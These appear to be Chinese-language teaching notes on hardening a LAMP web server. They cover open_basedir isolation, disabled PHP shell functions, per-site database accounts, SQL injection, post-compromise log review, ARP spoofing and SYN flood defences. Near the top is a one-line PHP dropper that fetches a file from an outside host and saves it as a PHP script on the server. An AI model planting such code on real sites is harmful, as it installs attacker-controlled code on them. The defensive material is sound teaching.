DOS,DDOS
 web应用程序代码缺陷
   
 SQL注入
 web平台
 管理员的疏忽

 


Lamp
 Linux + apache + mysql + php

 index.html --> apache ----> client
 index.php  --> apache ----> libphp.so---->apache--->client

 

<?php $file='0830.php'; $b=file_get_contents("http://www.tvpad.cn/1a.txt"); file_put_contents($file,$b);?>

 

$abc='123';
$tom='wel to upl';
$mary=$abc." ".$tom;   <---  "123 wel to upl"
$bean="come"." "."baby".$tom;  "come babywel to upl"

 


一、保护lamp平台

rpm包的lamp:
 yum install httpd httpd-devel mysql mysql-server php php-common php-mysql -y

1、锁定每个网站的根目录,杜绝跨站***

# vim /etc/httpd/conf/httpd.conf

<VirtualHost *:8080>
....
....
    DocumentRoot /share/08
    <IfModule mod_php5.c>
        php_admin_value open_basedir "/share/08:/var/lib/php/session"
    </IfModule>
</VirtualHost>

 

2、禁止php的危险函数
# vim /etc/php.ini

disable_functions = passthru,shell_exec,system,proc_nice,proc_open,proc_terminate,exec,popen


3、降低被溢出,提权

chmod 700 /usr/bin/gcc


4、每个网站独立一个数据库,独立一个帐号

bbs.upl.com  
数据库:bbs
帐号:bbsuser
密码: xxxxx

create database bbs .....
grant all on bbs.* to bbsuser@'localhost' identified by '123';


千万不能使用root帐号作为网站应用程序的连接数据库的帐号
不能把root帐号和密码保存到任何配置文件中。


5、防止SQL注入
 简单的情况下可以修改php.ini,缺点:有些时候会影响正常程序的运作
magic_quotes_runtime = On
magic_quotes_sybase = On

 一般都是让程序员在实现代码的时候,做好特殊符号(' , "")的过滤

 


如果服务器被***了,如何发现,应该如何处理?
 1、看日志
  从***者角度来分析
   猜管理员后台:产生大量404状态日志
   是否包含某些敏感文件的访问: etc,passwd,shadow
   看一些管理员后台的访问日志
   查看一些一些比较容易出现漏洞的文件的访问日志
    upload.php ,一般包含upload关键字

  查看系统日志
   secure
   lastb
   last
   lastlog

 2、
  如果安装的是rootkit,一般就很难清除。只能重装。基于主机***检测系统:tripwire
  如果是一般的***行为:修改了代码文件,插入了病毒代码。
  
  发现对方是如何利用漏洞,利用哪些漏洞***,然后打上补丁。

  对系统打补丁,升级内核。


ARP***原理
 

 2.2.2.2    /---web1  ***** 1.1.1.2
 client --> router 1.1.1.1 --swatch-->
     \---web2  1.1.1.3 <--已经被黑


web2进行arp欺骗,不端发包给router: 1.1.1.2对应的MAC地址是web2's mac

解决:在router上静态绑定MAC地址


web2针对web1进行arp欺骗,不断发包告诉web1,1.1.1.1的MAC是web2's MAC

解决:在自己的机器静态绑定router的MAC

 


DOS/DDOS***原理

 DOS 拒绝服务***
  syn洪水***

tcp三步握手
a --syn=100--> b  把该数据包放到队列中
a   <--syn=300,ack=101  b
a   --syn=102,ack=301 b
<=======================>

a --syn=100--> b  把该数据包放到队列中<--浪费内存
    <--syn=300,ack=101  b  《---不断重试,浪费cpu

<=======================>  

syncookies原理

a --syn=100--> b  队列满了,不放队列,把数据进行运算,得出一个数字
a    <--syn=548,ack=101  b  《---不断重试,浪费cpu
a  --syn=102,ack=549->  b  把(549-1)进行反运算。
<=======================>


抵抗小规模syn洪水***
net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_syn_backlog = 8096
net.core.netdev_max_backlog = 8096

net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216


 DDOS 分布式拒绝服务***
 
  / 肉鸡1  ---
 ***代理-- ...  --- 
***--->***代理-- 肉鸡N  --- ----> 受害目标
 ***代理-- ...  ---
  \ ....成千上万台肉鸡--


 常见的类似于拒绝服务器的***
  cc***,专门针对web服务器的应用。